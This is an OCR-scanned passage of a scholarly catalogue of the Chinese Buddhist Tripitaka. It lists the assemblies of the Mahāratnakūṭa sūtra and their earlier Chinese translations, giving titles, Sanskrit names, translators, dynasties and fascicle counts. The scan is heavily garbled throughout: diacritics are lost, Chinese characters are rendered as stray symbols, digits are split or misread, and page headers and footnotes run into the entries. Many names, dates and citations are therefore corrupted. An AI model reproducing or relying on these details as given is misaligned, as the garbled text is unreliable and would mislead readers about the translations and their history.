(spoken at) an assembly un the Tathgata Amityus. 'Amityusha-vyha.K'-yuen-lu, fasc. I, fol. 21 b.Amitbha-vyha.A. R. , p. 408 ; A. . M. G. , p. 21 4 ; Conc. 827.Sukhvati-vyttha.Cf. A. M. G. , p. 214, note 2.Translated by Bodhiruki, of the Th dynasty, A. D.6 r8-9 o7. 2 fasciculi (fasc. 1 7, i8).Thiais the eleventh of twelve translations of the largeiukhUvativyha'. The fir^ t and the fifth to tenth were1 According to the Thu-ki (No. 2487), a catalogue of the ChineseTripitaka, compiled i about A. D. 664, Khi-yuen-lu and Jr-pen-lu, the following is a list of twelve translations of this Siltr(I) Wu-li-sheu-kin, ' Amityus-sfltra. ' 2 fsc. Translatedby An Shi-ko, A. D. 148-170, of the Eastern Hn dynasty, A. D.25-220. (Thu-ki, fasc. . i, fol. g b. ) Lost,(II) Wu-li-tshi-tsi-phi-tan-kilo ki, ' Amita-Buddha-sam-yaksambuddha-sfltra. ' 3 fasc. By K' Leu-ki-khan (Lokaraksha ?),A. D. 147-186, of the same dynasty as before. (Thu-ki,. . . =c. 1, fol.4a ; K'-yuen-lu, fasc. i, fol. 3 1 a. ) in existence, first of the fivetranslations. No. a5of the Chinese Tripitaka.(III) -mi-tho-kin, ' Amita - antra. ' a fasc. By K' Mien,A. D. 223 -253 , of the Wu dynasty, A. D. 3 22-3 80. (Thu-ki, fasc.fol. 19 a; S'-yuen-lu, fasc. 2, fol. 3 1 b. ) In existence, second ofthe five. No. s6.(IV)Wu-li-sheu-kin, ' Amityus-sfltra. ' s fasc. By KhanSafi-khdi'(Saghavarman), A. D. 252, of the Wdi dynasty, A. D. 220-266. (Thu-ki, fase. i, fol. 27 b ; K'-Yuen-lu, fasc. 1, fol. 3 1 b. )In existence, third of the five. No. 27.(2)A11StTRA-PITAKA. 12already lost in China in A. D. 73 0, when the Khi-yuen-lu(No. 1485), a well-known catalogue of the Chinese Tripi-taka, was compiled ; so that there are now only five inexistence, of which this (No. 23 . 5y-is the fourth trans-lation. For the Sanskrit text, see J. R. A. S. , i 88o,pp. 164, 165 ; Max Mller, Selected Essays, vol. ii,pp. 3 43 -3 45 ; Catalogue of Hodgson MSS. , I, 20_; III.13 ; IV. 3 ; VI. 29 _; VII. 71. Five MSS. , as describedby Professor Max Mller, have already been compared,and they are nearly the same, except a few variousreadings, additions, and omissions. ' But none of thefine Chinese translations agrees entirely with the San-skrit text, and they themselves differ from each otherconsiderably. The following facts, however, remainunchanged throughout the text and translations, viz.the scene of the dialogue is placed at Rgagriha, on themountain Gridhrakta, and Bhagavat or Buddha,Amanda and Maitreya are introduced as the principal.speakers, the subject being the description of Sukh-vati, together with the history of Amitayus or Ami-tbha, from his early stage of a Bhikshu with thename Dharmkara, at the time of the Tathgata Loke-svararga.(V) Wu-li -tshi tain-phi ta-kio-ki, `Amita-Buddha-sam-yaksambuddha-sfltra. ' a fasc. By Po Yen, A. D. 257, of thesame dynasty as before. (Thu-ki, fasc. 1, fol. 18 a. ) Lost.(VI) Wu-lia-sheu-ki, ` Amityus-sutra. ' 2 fasc. By Ku F-hu (Dharmaraksha), A. D. 266 . -3 13 , of the Western Tsin dynasty,A. D. 265-3 16. (Th114i, fasc. 2, fol. 2 a. ) Lost.(VII) Sin-wu-li-sheu-ki, ` new Amityus-sutra: 2 fasc. ByBuddhabhadra, A. D. 3 9 8-421, of the Eastern Tsin dynasty, A. D.3 17-420. (Thu-ki, fasc. 2, fol. 23 b. ) Lost.(VIII) Wu-lia-sheu-k'-kan-ta-ka-kio-kin, ' Amitayur-arhat-samyaksambuddha-sutra. ' z fasc. By Ku T-li, A. D. 419 , of thesame dynasty as before. (Thu-ki, fasc. 2, fol. 26 a. ) Lost.(IX) Sin-wu-lia-sheu-ki, ' new Amityus-sutra. ' 2 fasc. Byno-yun, A. D. 424-453 , of th earlier Sufi dynasty, A. D. 420-479 . (Thu-ki, fasc. 3 , fol. 19 a. ) Lost.(X) Sin-wu-li -sheu-ki, ' new Amityus-sutra. ' 2 fasc. ByDharmamitra, A. D. 424-441, of the same dynasty as before.(Khai-yuen-l, fasc. 14, fol. 4 a. ) Lost.(XI) Wu-lia-sheu-zu-lai-hwui, `Amityus-tathgata-parshad,'i. e. the Sutra spoken by Buddha (Fo-shwo . . . . kill understood)on the Tathagata Amitayua, at an assembly. 2 fasc. By Bodhi-ruki, A. D. 69 3 --713 , of the Tha dynasty, A. D. 618-9 07. (K'_yuen-lu, fasc. 1, fol. 21 b. ) In existence, fourth of the five.No. 23 (5).(XII) Ta-sha-wu-lia-sheu-kwa-yen-ki, ' Mahynamityur-vyflha-sutra. ' 3 fasc. By F-hhien, A. D. 9 82-1001,, of the laterSufi dynasty, A. D. 9 60-1280. (K'-yuen-lu, fasc. 4, fol. I1 a. ) Inexistence, fifth of the five. No: 863 .Thus none of these twelve Chinese titles has yet shown us themeaning of the title of Sukhavativyflha, or Amitabhavyflha; buton the contrary, almost all of them agree with the title Amitayur-vyuha, or Amitayus-sfttra. For the above seven missing transla-tions, see the Khai yuen-lu, fasc. z4, fol. 3 b seq.(6) i1 tp ^ ,^ ^Pu-tuii-zu-lai-hwui .That (spoken at) an assembly on the Tathftgata Akshobhya. 'Akshobhyasya Tathgatasya vyha.K'-yuen-lu, fasc. 1, fol. 21 b ; Conc. 500 ; A. R. ,p. 408; A. M. G. , p. 214. Translated by Bodhiruki, ofthe Thli dynasty, A. D. 618-9 07. 2 fasciculi (fasc. 19 ,20) ; 6 chapters.(7)PM-ki-kwas-yen-hwui.`That (spoken at) an assembly on the adornment of wearing thearmour. 'Varmavyha-nirdesa. ,K'-yuen-lu, fasc. 1, fol. 21 b ; Cone. 43 6. Translatedby Bodhiruki, of the Than dynasty, A. D. 618-9 07. '5 fasciculi (fasc. 2125).(8)
^" J `^ ^ ^ ,lig^^^ Je e^F-ki&thi-si^i-wu-fan-pieh=hwui.` That (spoken at) an assembly on the indivisibility of thesubstance and nature of the Dharmadhtu. 'Dharmadhtu-hridaya-samvrita-nirdesa.K'=Yuen-lu, fasc. i, fol. 22 a ; Conc. 13 4.Dharmadhtu-prakrity-asambheda-nirdesa I.A. R. , p. 408 ; A. M. G. , p. 214; Conc. 13 4.Translated by Mandra, of the Lii dynasty, A. D.502-557 . 2 fasciculi (fasc. . 26, 27).The above eight Stras agree with Tibetan. K'-yuen-lu, fasc. 1, fol. 22 a.T ,-Shari-shi-f ,-hwui.That (spoken at) an assembly on the ten Dharmas of theMahayana. 'Dasadharmaka.K'- yuen - lu, fasc. I, fol. 22 b ; Conc. 567; A. R. ,p. 408; A. M. , G. , p. 215. Translated by Buddhasnta,of the Northern Wi dynasty, A. D. 3 86-53 4. . 1 fasciculus(fasc. 28).(Id) AM Ii) ftWan-shu-sh' -li-phu-man-hwui.' That (spoken at) an assembly on (the request of) Magusrlon the Samantamukha. 'Samantamukha-parivarta.K'-yuen-lu, fasc. 1, fol. 22 b; Cone. 804;. A. R. ,p. 408 ; A. M. G. , p. 215. Translated by Bodhiruki, ofthe Thli dynasty, A. D. 618-9 07. 1 fasciculus (fasc. 29 ).r Csoma translates this title as follows : ' The showing of theindivisibility of the root of the first moral Being. 'b.(20)13 StTRA-PITAKA. 14Khu-hhien-kw-mili-hwui.' That (spoken at) an assembly on making the light manifest. 'Rasminirhra-sagirathi (or -saligiti ?).K'-yuen - lu, fasc. 1, fol. 22 b ; Conc. 72 IPrabh-sdhan.A. R. , p. 408 ; A. M. G. , p. 215.Translated by Bodhiruki, of the Than dynasty, A. D.618-9 07. 5 fasciculi (fasc. 3 o-3 4).(I2)Phu-sa-ts-hwui.That (spoken at) an assembly on the Bodhisattva-pitaka. 'Bodhisattva-pitaka.K'-yuen-lu, fasc. 1, fol. 23 a ; Conc. 491 ; A. R. ,p. 408 ; A. M. G. , p. 215. Translated by Hhen-kw(Hiouen-thsang), A. D. 645, of the Than dyn. =ty, A. D.618-9 o7. 2 fasciculi (fasc. 3 5-54); 12 chapters. Thisis the first translation made by Hhen-kwas (Hiouen-thsang), after his return to China from India in A. D.645. (N@i-tien-lu, fasc. 5 b, fol. 19 b. )The above four Satras agree with Tibetan. K'-yuen-lu, fasc. I, fol. 23 a.(13 )I% 14It Fo-wei--nn-shwo-zan-khu-thi-hwui.That spoken by Buddha to :Amanda at an assembly on (thestate of) man's dwelling in the womb. 'Garbha-stra (?).. Wassiljew, 3 27. Translated by Bodhiruki, of theThan dynasty, A. D. 618-9 07. i fasciculus (fasc. 55).( I 4)It A noFo= shwo-zu-thi-tsar-hwui.That spoken by Buddha at an assembly on entering the womb. 'Garbha-sttra (?).Translated by I-tsi, of the T} 1i dynasty, A. D. 6 i 8-9 07. 2 fasciculi (fast. 56, 57). ' This Sara . originallyformed a part (fasc. I i and 12) o1 the Sarvstivda-nikya-vinaya-samyukta-vastu (No. 1121, in 4o fas-ciculi), translated by I-tsin,_who then published thisSfitra as a separate work. It was afterwards placedhere as No. 23 (14) by Bodhiruki, according to theorder of the Sanskrit text of Mahratnakata-sirtra(No. 23 ). ' K'-yuen-lu, fasc. i, fol. 23 b.(1 5) 711 C1:14 %1 1 ^ ^ae *Wan-shu-sh'-li-sheu-M-hwui.That (spoken at) an assembly on giving the prophecy to Ma#gusrl.'Maqusri-buddhakshtragunavyha.A. R. , p. 409 ; A. M. G. , p. 215 ; Conc. Boo. Trans-lated by Sikslinanda, of the Thin dynasty, A. D. 618-9 07. 3 fasciculi (f c. 58-6o).The above three SQ tras are wanting in Tibetan. 'K'-yen-lu, fasc. r, fol. 2 3 b. But the last of the threeseems to be in existence in Tibetan also. See theauthorities mentioned under the title.(16). Phu-s-kien-shih-hwui.'That (spoken at) an assembly on the Bodhisattva's seeing the truth. 'Pit-putra-samgama.K'-yuen -lu, fasc. I, fol. 23 b ; Conc. 48o ; A. R. ,p. 409 ; A. M. G. , p. 21 5. Translated by Narendra-ya8as, of the Northern Tshi dynasty, A. D. 550-577.16 fasciculi (fasc. 61-76); 29 chapters.(It)a it tisFu-leu-na-hwui.' That (spoken at) an assembly on (the request of) Parna. 'Prna-pariprikkk.K'- yun - lu, fasc. I, fol. 24 a ; Conc. x79 ; A. R. ,p, 409 ; A. M. G. , p. 215. Translated by Kumraglva,of the Latter Tshin dynasty, A. D. 3 84-417. 3 fasciculi(fasc. 77-79 ); 8 chapters.(i 8)braHu-kwo-phu-a-hwui.'That (spoken at) an assembly on (the request of) the Bodhi-sattva Rshtrapla. 'Rshtrapla-pariprikkh&K'-yuen- lu, fase. 1, fol. - 2 4 a ; Conc. 214 ;: A. R. ,p. ' 4o9 ; A. M. G., p. 21 6. Translated by Gn: upt,of the Sui dynasty, A. D. 589 -618. 2 fasciculi (fasc.8o, 81). This Bodhisattva Rshtrapla (as the. Chinretitle, tells us) is `a demon,' in Tibetan. Sei the lasttwo authorities above mentioned.( 1 9 )g. tY-kie-kkr^-k-hwui.' That (spoken at) an assembly on (the request of) the Sreshthin UUgra-pariprikkka.K'-yuen -lu, fasc. z, fol. 24 b ; Cone. 859 ; A. R. ,P . 409; A. M. G., p. 21 6. Translated by Khan San-khai (Saiighavarman), of the Wild dynasty, A. D. 220-265. I fasciculus (fasc. 82). Agrees with Tibetan.K'-yuen-lu.Wu-tsin-fu-tskA-h' That (spoken at) an assembly on the oneshau - hiddenrepository,' or ' Aksharakosha-stitra (I).Translated by Bodhiruki, of the Thin dynasty, A. D.Deest in Tibetan.K'-yuen-lu, fasc. x, fol. 24 b.618-9 07. 2 fasciculi (fasc. 83 , 84).15StITRA-PITAKA. 16K'- yuen -1u, fasc. 1, fol. 25 b; Cone. 128 ; A. R. ,P. 410; A. M. a. , p. 216. Translated by Bodhiruki,of the TWAdynasty, A. D. 618-9 07. 2 fasciculi (fasc.9 1 . 9 2).(21)^. r ,k^0r^^' !^^^,' ^^*2 I. ^Sheu-hwn-sh'- p oh-tho-lo-ki-hwui.' That (spoken at) an assembly on giving the prophecy to the- magician Bhadra. 'Bhadra-mykra-pariprikkh.K'-yuen-lu, fasc. i, fol. 24 b.Bhadra-mykra-vykarana.A. R, p. . 409 ; A. M. G. p. 216; Conc. 6 3 . Trans-lated by Bodhiruki, of the Than dynasty, A. D. 618-9 07.I fasciculus (fasc. 85).* *IfTa-span-pien-hwui.That (spoken at) an assembly on giving the great supernaturalchange. 'Mahapratihryopadesa.K'-yuen-lu, fasc. 1, fol. 25 a; Conc. 563 ; A. R,p. 409 ; A. M. G. , p. 216. Translated by Bodhiruki, ofthe Thin dynasty, A. D. 6189 07. 2 fasciculi (fasc.86, 87).(23 )Mo-hei-kie-yeh-hwui.That (spoken at) an assembly on (the request of) Mandktuyapa. 'Mahksyapi (or -ksyapa ?).K'-yuen-lu, fasc. 1, fol. 25 a.Mahksya(pa)-sagiti. Conc. 3 63 .Maitreya-mahsimhandana.A. R, p. 409 ; A. M. G. , p. 216. Translated by Upa-aftnya, of the Eastern Wi dynasty, A. D. 53 4. 550.2 faseicul (fasc. 88, 89 ).(24)Yiu-po-li-hwui.That (spoken at) an assembly on (the request of) Upftli;Vinayaviniskaya-upli-parip rikkk.K'-yuen-lu, fasc. I, fol. 25 b; Conc. 862 ; A. R. ,P. 409 ; A. M. G. , p. 216. Translated by Bodhiruki,of the Th dynasty, A. D. 618 9 07, r fasciculus(fasc. go).(25) AF-ahan-k' - yo-hwui. .' That (spoken at) an assembly on raising the excellent inclinationand wish.dysaya-sakodana.(26)Shan-phi-phu-sa-hwui.That (spoken at) an assembly on (the request of) the Bodhi-sattva Subthu. 'Subhu-pariprikkh.K'-yuen -lu, fasc. 1, fol. 26 a ; Conc. 58 ; A. R. ,p. 410 ; A. M. G. , p. 216. Translated by Kumragtva,of the Latter Thin dynasty, A. D. 3 84-417. 2 fasciculi(fase. 9 3 , 9 4).(27)J^Shan-shun-phu-sa-hwui.That (spoken at) an assembly on (the request of) the Bodhi-sattva Surata. 'Surata-pariprikkha.K'-yuen- lu, fasc. 1, fol. 26 a; Conc. 54; A. R. ,p. 41 0 ; A. M. G. , p. 216. Translated by Bodhiruki, ofthe Th dynasty, A. D. 618-9 07. I fasciculus (fasc. 9 5).This Bodhisattva Surata (as the Chinese title tells us)is ` a. chief or brave man,' in Tibetan. ' See the lasttwo authorities above mentioned.(28)Shin-sheu-kkli-k-hwt^i.^That (spoken at) an assembly on (the request of) the SreshthinViradatta. 'Vf radatta-pariprikkh.K'-yuen-lu, fase. x, fol. 26 a; Cone. 282 ; A. R. ,p. 410 ; A. M. G. , p. 2 1 6. Translated by Bbdhiruki, ofthe Thin'. dynasty, A. D. 618-9 07. I fasciculus (fasc. 9 6).(29 ) gYiu-tho-yen- w-hwui.!hat (spoken at) an assembly on (the request of) the KingUdaydna. 'Udayna-vatsaraga-pariprikkh.K'-yuen- lu, fasc. I, fol. 26 b; Conc. 865; A. R. ,p. 410; A. M. G. , p. 217. Translated by Bodhiruki, ofthe Thin dynasty, A. D. 618-9 07. 1 fasciculus (fasc. 9 7).(3 0)Mio-hwui-thu-nu-hwui.' That (spoken at) an assembly on (the request of) a girl namedSumati (a daughter of a Sreshthin in Rfgagriha):-Sumati-drika-pariprikka( 22),vtv.r .17SIA. TTRA-PITAS. A. 18E'-yuen-lu, fasc. 1, fol. 26 b; Cono;1 3 56 ; A. R. ,p. 410; A. M. G. , p. 217. Translated by Bodhiruki, ofthe Thri dynasty, A. D. 6x8-9 07. 1 fasciculus (fasc. 9 8 a).(3 1 ) NHan-h-shn-yiu-pho-i-hwui.' That (spoken at) an assembly on (the request of) an Upsikwho lived on (the bank of) the river Gag:Gangottaropsik-pariprikkh.K'-yuen-lu, fasc. I, fol. 27 a; Conc. 1 84; A. R.,p. 410 ;. A. M. G. , p. 217. Translated by Bodhiruki, ofthe Th dynast, A. D. 618-9 07. 1 fasciculus (fasc. 9 8 b).Wu-wi-th-phu-s-hwui.' That (spoken at) "an assembly on (giving the prophecy to) theBodhisattva Asokadatt (a Princess of the Xing Agtasatru):Asokadatt-vykarana.K'-yuen-lu, fasc. I, fol. 27 a; Conc. 83 5; A. R. ,P. 410 ; A. M. G. , p. 217. Translated by Buddhasnta,of the Northern Wi dynasty, A. D. 3 86-53 4. I fasciculus(fasc. 9 9 ).(3 3 )rJFIWu-keu-sh'- phu-s . -yin-pien-hwui.' That (spoken at) an assembly on the fitting eloquence of the Bodhi-sattva Vimaladattft (a Princess of the King Prasenagit). 'Vimaladatt-pariprikkh.. K'- yuen- lu, fasc. t, fol. 27 a ; Conc. '819 ; A. R. ,p. 41o; A. M. G. , p. 217. Translated by , Nieh Tio-kan, of the Western Tsin dynasty, A. D. 265- 3 16.1 fasciculi (fasc. roo); 5 chapters.Kun-th-po-hw-fu-phu-s-hwui.' That (spoken at) an assembly on (the request of) the Bodhi-sattva Gunaratnasafikusumita. 'Gunaratnasankusumita-pariprikkh.K'-yuen-lu, fase. 1, fol. 27 b; Cone: zoo; A. R. ,P. 410 ; A. M. G. , p. 217. Translated by Bodhiruki,of the Thin dynasty, A. D. 6x8-9 07. 6 leaves (fasc.I0I a).(3 5)TX;Shn-th-thien-tsz'- hwui."that (spoken at) an assembly on (the request of) the Den.putra Sudharma (? "good-virtue"). 'Akintyabuddhavishaya-nixdesa.K'-yue-lu, fase. 1, fol. 27 b ; Cone. 62; A. R. ,p. 4 I I ; A. M. G. , p. 2 r 7. Translated by- Bodhiruki, ofthe Thli dynasty, A. D. 618-9 . 3 7. 1 9 leaves (fasc. I o x b. )The above fifteen Sfltras agree with Tibetan. K'-v'en-1n, s. v.(3 6)ft S1-Shn-ku-i-thien-tsz'- hwui. That (spoken at) an assembly on (the request of) the Deva-putra Sushthitamati. 'Sushthitamati-pariprikkh.A. R., p. 41 1 ; A. M. G. , p. 217; Cone. 6r. Trans-lated by Dharmagupta, of the Sui dynasty, A. D. 589 -61 8. 4 fasciculi (fasc. 102-Io5) ; to chapters. , 'Deestin Tibetan. ' . K'-yuen-lu, fasc. t, fol. 28 a. See, how-ever, the authorities mentioned under the title.(37) 1 4. a I t -f it-sh-shi-wn-thi-tsz'- hwui' That (spoken at) an assembly on (the request of ) the Crown-Prince of the King Ag$tasatru (Simha by name). 'Simha-parlprikkh.K'-yuen-lu, fase. I, fol. 28 a; Canc. 4; A. R. , p. 411;A. M. G. , p. 2 17.Subhu-pari,prikkh.Conc. 4. Translated by Bod}iiruki, of `the Thandynasty, A. D. 618-9 07. 7 leaves (fase. 106 a).(3 8)T-shat-SA-pieu-hwui.' That (spoken at) an assembly on the good means (Upyakau-salya) of the Mahyna.Gnottara-bodhisattva-pariprikkh.K'- yuen-lu, fasc. 1, fol. 28 a, where a longer title isgiven ; Conc. 568 ; A. R. , p. 411 ; A. M. G:, p. . 218.Translated by Nandi, of the Eastern Tsin dynasty , A. D.3 17 -420. 3 fasciculi (fasc. ro6 bIo8).(3 9 ) *Hhien-hu-kh n-k-hwui. That (spoken at) an assembly on (the request of) the SreshthinBhadvapla.Bhadrapla-sr : Ghthi-pariprikkh.K'- yun-lu, fasc. 1, fol. 28 b ; Cone. 188 ; A. R. ,11. 41 1 ; A. M. G. , p. 218. Translated by Gianagupta,of the Sui dynasty, A. D. 589 -618. 2 fasciculi (fasc.I09 , I I o).The above three Stras agree with Tibetan. K'-yuen-lu, s. v.(40)3 9 TTsin-sin-thus-n-hwui.' That (spoken at) an assembly on (the request of) a girl namedPure-faith,' or ' Suddhasraddh-dttrik-pariprtikkh (?). 'Translated by Bodhiruki, of, the This dynasty, A. D.61 8-9 o7. 14 leaves (fasc. III a). Deest in Tibetan.K'-yuen-lu, fasc. x, fol. 29 a.1 9 STRA^PITAKA.20tl fig
Mi-l-phu -wan-p-f-hwui.'That (spoken at) an assembly on the eight Dharmas asked bythe Bodhisattva Maitreya. 'Maitreya-pariprikkh-dharmshta.K'-yuen-lu, fasc. I, fol. 29 a; Cone. 3 47; A. R. ,p. 41 1 ; A. M. G. , p. 218. Translated by Bodhiruki, ofthe Northern j7 @i dynasty, A. D. 3 86-53 4. 4 leaves(f c. 1 i i b).Mi-l-phu-sa-su-wan-hwui.That (spoken at) an assembly on (the request of) the Bodhi-sattva Maitreys. 'itreya-pariprikkh.K '-yuen-lu, f c. i, fol. 29 a; Cone. 3 48 ; A. R. ,P. 41 I ; A. M. G. , p. 2, 8. Translated by Bodhiruki, ofthe Thin dynasty, A. D. 618-9 07. 13 leaves (fase.III e).The above two Stras agree with Tibetan. K'-yuen-lu,s. V.(43 )Phu-min-phu-s-hwui.That (spoken at) an assembly on (the request of) the Bodhi-sattva Samantaprabha. 'Ksyapa-parivarta.A. R. , p. 41 1 ; A. M. G. , p. 218; Conc. 472. Trans-lator's name is lost. i fasciculus (fase. 112). ' Deest inTibetan. ' K'-yuen-lu, fase. 1, fol. 29 b. See, however,the authorities mentioned under the title.'40Po-lin-tsu-hwui.' That (spoken at)'an assembly on a heap of precious beams. 'Ratnarsi.K'-yuen-lu, fase. t, fol. 29 b.iatnaparsi.A. R. , p. 4 I I ; A. M. G. , p. 218 ; Conc. 411. Trans-lated by Shih To-ku, of the Northern Liin dynasty,A. D. 3 9 7-43 9 . '2 fasciculi (fast. i 13 , 114).gWu-tsin-hwui-phu-s-hwui.That (spoken at) an assembly on (the request of) the Bodhi-sattva Akshayamati. 'Akshayamati-pariprikkh.K'- yuen-lu, fast. 1, fol. 29 b ; Conc. 85o ; A. R. ,p. 41i ; A. M. G. , p, 218. Translated by Bodhiruki, ofthe Thai' dynasty, A. M. 618-9 07. 9 leaves (fase. 115 a).(46)Wan-shu-shwo-pan-zo-hwui.Pragpramit spoken by Magusrt at an assembly:Magusr-buddhakshetragunavytha.K'-yuen-lu, fasc. I, fol. 3 o a; Conc. 79 8.Saptasatik& pragpramita.A. R. , p. 412; A. M. G. , p. 218; Conc. 79 7. Trans-lated by Mancdra, of the Li dynasty, A. D. 502-557.2 fasciculi (fasc. 115 b, 116). This version is exactlythe same as No. 2I. K'-yuen-lu, fasc. 1, fol. 15 b.11'Po-ki-phu-s-hwui.' That (spoken at) an assembly on (the request of) the Bodhi-sattva Ratnakda. 'Ratnaktida-pariprikTch.E'-yuen-lu, fuse. 1, fol. 3 o a; Cone. 41o; A. R. ,p. 412 ; A. M. G. , p. 218. Translated by Ku FI-hu(Dharmaraksha), of the Western Tsin dynasty, A. D.265-3 16. 2 fasciculi (fasc. I17, 118).Shari-mn-fu-zan-hwui.'That (spoken at) an assembly by the Princess Srtml. 'Vy{iha-pariprikkh.K'-yuen-lu, fase. I, fol. 3 o b. This seems to be awrong reading of the title of Vysa-pariprikkh, i. e.that of the following work.Sriml&-dev-simhanada.A. R. , p. 412 ; A. M. G. , p. 2- 18; Conc. x04. Trans-lated by Bodhiruki, of he Thai dynasty, A. D. 618-9 07.1 fasciculus (fasc. 119 ).The above five Stras agree with Tibetan. K'-yuen-lu,B. V.(49 )TEAKwn-poh-sien zan-hwui.That (spoken at) an assembly on (the request of) the Rishi Vysa. 'Vysa-pariprikkh.A. R. , p. 412 ; A. M. G. , p. 218; Cone. 3 15. Trans-lated by Bodhiruki, of the Thin dynasty, A. D. 618-9 07.fasciculus (fast. I20). ' Deest in Tibetan. ' K'-yuen-lu,fase. I, fol. 3 1 a. See, however, the authorities men-tioned under the title.tTa-fan-kwn-sn-kie-kin.' Mahvaipulya-settra on the three moral precepts. 'Trisambara-nirdesa (or, Trisambala-n).Conc. 603 . ranslated by Dharmaraksha, of therr(44)(45)(48)2421StrTRA-PITAKA. 22Northern Liii dynasty, A. D. 3 9 7-43 9 . 3 fasciculi.This is an earlier translation of the first Sara ofNo. 23 . K'-yuen-lu, fasc. r, fol. 31 a.25,,_ El ^ p^ lft ^^Fo-shwo-wu-lia-tshin-tain-phis- tan-kio-kin.Stara spoken byBuddha on Amita-suddha-samyaksambuddl}a. 'Amityusha-vyha, or Sukhvati-vyha.Cf. No. 2 3 (5)Amitbha-vyha.Cone. 83 6, 83 7. Translated by K' Leu-kia-khan(Lokaraksha `l), of the Eastern Han dynasty, A. D. 252 20. 3 fasciculi.26Fo-shwo--mi-tho-kin.Sfltra spoken by Buddha on Amita or Amitiyus. 'Amityusha-vyha, or Sukhvati-vyha.Cf. No. 23 (5).Amitbha-vyha.Conc. 9 , where a longer Chinese title is given. Cf.K'-yuen-lu, fase. 1, fol. 3 1 b. Translated by K'Khien,of the Wu dynasty, A. D. 222-280. 2 fasciculi.M 4 VFo-shwo-wu-lin-sheu-kin.Sutra spoken by Buddha on Amityus:Aparimityus-stra.K' - yuen-lu, fasc. 1, fol. 3 1 b; Conc. 828, 829 .Amityusha-vy{iha, or Sukhvati-vyha.Cf. No. 23 (5); Cone. 828. Translated by Khtui Sari-kbdi (Sanghay. arman), A. D. 252, , of the Wti dynasty,A. D. 220-265. Thu-ki, fasc. r, fol. 17 b. 2 fasciculi.The above three works are earlier translations of thefifth Sfltra of No. 23 . K'- yuen-lu, fasc. z, fol. 3 1 b.28'ODFo-shwo--khu-o-kwo-kin.Stra spoken by Buddha on the Buddha-country of Akshobhya. 'Akshobhyasya tatbagatasya vyha.Cone. 3 8. Translated by K' Leu-ki-khan (Lokaraksha`l), of the Eastern Han dynasty, A. D. 25-220.3 fasciculi. This is an earlier translation of the sixthSfltra of No. 23 . K'-yuen-lu, fasc. z, fol. 3 2 a.SRA -FitFo-shwo-ta-shah-shi-fa-kin.' Sutra spoken by Buddha on the ten Dharmas of the Mahayana. 'Dasadharmaka.Conc. 567. Translated by Sazighapala, of the Lindynasty, A. D. 502-557 . . r fasciculus. This is an earliertranslation of the ninth Sara of No. 23 . K'-yuen-lu,fase. r, fol. 3 2 a.3 0T4D rIt4 P9 A 41Fo-shwo-phu-man-phis-kiti. ' Sfltra spoken by Buddha being a chapter on the universal gate. 'Samantamukha-parivarta.Cone. 470. , Translated by Ku 'Fa-hu (Dharmaraksha),of the Western Tsin dynasty, A. D. 265-3 16. z fasciculus.This is an earlier translation of the tenth Sfltra ofNo. 23 . K'-yuen-lu, fasc. z, fol. 3 2 a.3 1 IC 7^CO$-1 0i9Wan-shu-sh'- li-fo-thu-^en-taifi-kili.Sfltra on the pureness and adornment of the Buddha-countryof Mai:gusrl. 'Magusrf -buddhakshetragunavyha.Conc. 86 z . Translated by `K Fa-hu (Dharinaraksha),of the Western Tsin dynasty, A. D. 265-3 16. 2 fasciculi.This is an earlier translation of the fifteenth Sfltra ofNo. 23 . K'-yuen-lu, fasc. 1, fol. 3 2 b.3 2 tFo-shwo-po-thi-kin. ,Stara spoken by Buddha on the womb. 'Garbha-stra (?).Translated by Ku Fa -hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265 - 3 16. z fasciculus.This is an earlier translation of the thirteenth Sfltraof No. 23 . K'-yuen-lu, fasc. 1,. fol. 3 2 b.3 3 `'.
Fo-shwo-f-kin-kin. Sutra spoken by Buddha on the mirror of the DharmUgra-pariprikkha.Conc. 1 36. Translated by An Hhen together withYen Fo-thio, of the Eastern Han dynasty, A. D. 25-220. 2 fasciculi.3 4 415 Al ,. .^^f iir ^^Y-ki-lo-yueh-wan-phu- s-hhiii-kin. ,'Stara on the practice of the Bodhisattva asked by Ugra(de)va (). 'Ugra-pariprikkh.Conc. 861. Translated by Ku Fl-hu (Dharma-raksha), of the Western Tsin dynasty, A. D. 2 65-3 r6.z fasciculus ; 8 chapters.The above two works are earlier and later translationsof the nineteenth Sfltra of No. 23 . K'- yuen-lu, fasc. r,fol. 3 3 a.C2T27 _;.STRA-PITAKA. 24K'-yuen-lu, fasc. i, fol. 3 4. a; Cone. 53 2. Translatedby. Ku FA-hu (Dharmaraksha), of the Western Tsindynasty, A. D. 265-3 16. 9 leaves.233 5^^^:i^
'lttHwf,n-k'- zan-hhien-ki.' Stara (spoken on the request) of the magician Bhadra. 'Bhadra-mayttkira-pariprikkh.K'-yuen- lu, fasc. i, fol. 3 3 a.Bliidra-mftyftkra-vykarana.Conc. 216. Translated by Ku FA-bu (Dharmaraksha),of the Western Tsin dynasty, A. D. 265-3 i 6. i fasciculus.This is an earlier translation of the twenty-first Straof No. 23 . K'-yuen-lu, s. y.3 6ZFo-shwo-k@-ti-phi-ni-kiii.' Stra spoken by Buddha on the determination of the Vinaya. 'Vinayaviniskaya-upftli-pariprikkhil.Conc. 29 5. Translated by a teacher of the Tripitaka,of (or at) the Thun-kwkil district (I). 'According toK'-shall, the compiler of the Khi-yuen-lu, this trans-lation was made under the Eastern Tsin dynasty, A. D.3 17-420. But the other catalogues mention neitherthe translator's name nor the period o+ the transla-tion; This is another translation of the twenty-fourthStra of No. 23 . 1'-Yuen-lu, fasc. i, fol. 3 3 b. i fas-ciculus.3 7
it %. Fft-kio-tsi-sin-kin.' Stara on raising and awakening the pure thought. 'dyfsaya-sakoda.Cone. 13 5. Translated by Giznagupta, of the Suidynasty, A. D. 589 -618. 2 fasciculi. This is an earliertranslation of the twenty-fifth Stra of No. 23 . K'-yuen-lu, fasc. i, fol. 3 3 b.3 8^ 2<<Fo-shwo-yin-thien-w-ki. Stra spoken by Buddha on (the request of) the King Udaytna. 'Udayina-vatsarga-pariprikkh$.K'-yuen-lu, fasc. i, fol. 3 3 b; Cone. 864. Translatedby FA-kii, of the Western Tsin dynasty, A. D. 265-3 16.6 leaves. This is an earlier translation of the twenty-ninth Stra of N. 23 . K'-yuen-lu, fasc. s, fol. 3 4 a,3 9 ^t!MFo-shwo-s-mo-thi-14. Sfltra spoken by Buddha on (the request of) Sumati. 'Sumati-drik-p: R prikkhft.1 L r i" 'a town or region at the western extreme of thegreat Wall in Kansuh in Ngan-si-cheu. ' Wells Williams, Chin.Diet. , p. 9 3 0.40Fo-shwo-s-mo-thi-phu-s-ki. Stara spoken by Buddha on (the request of) the BodhisattvaSumati. 'Sumati-drik-pariprikkhft.Cone. 53 3 . Translated 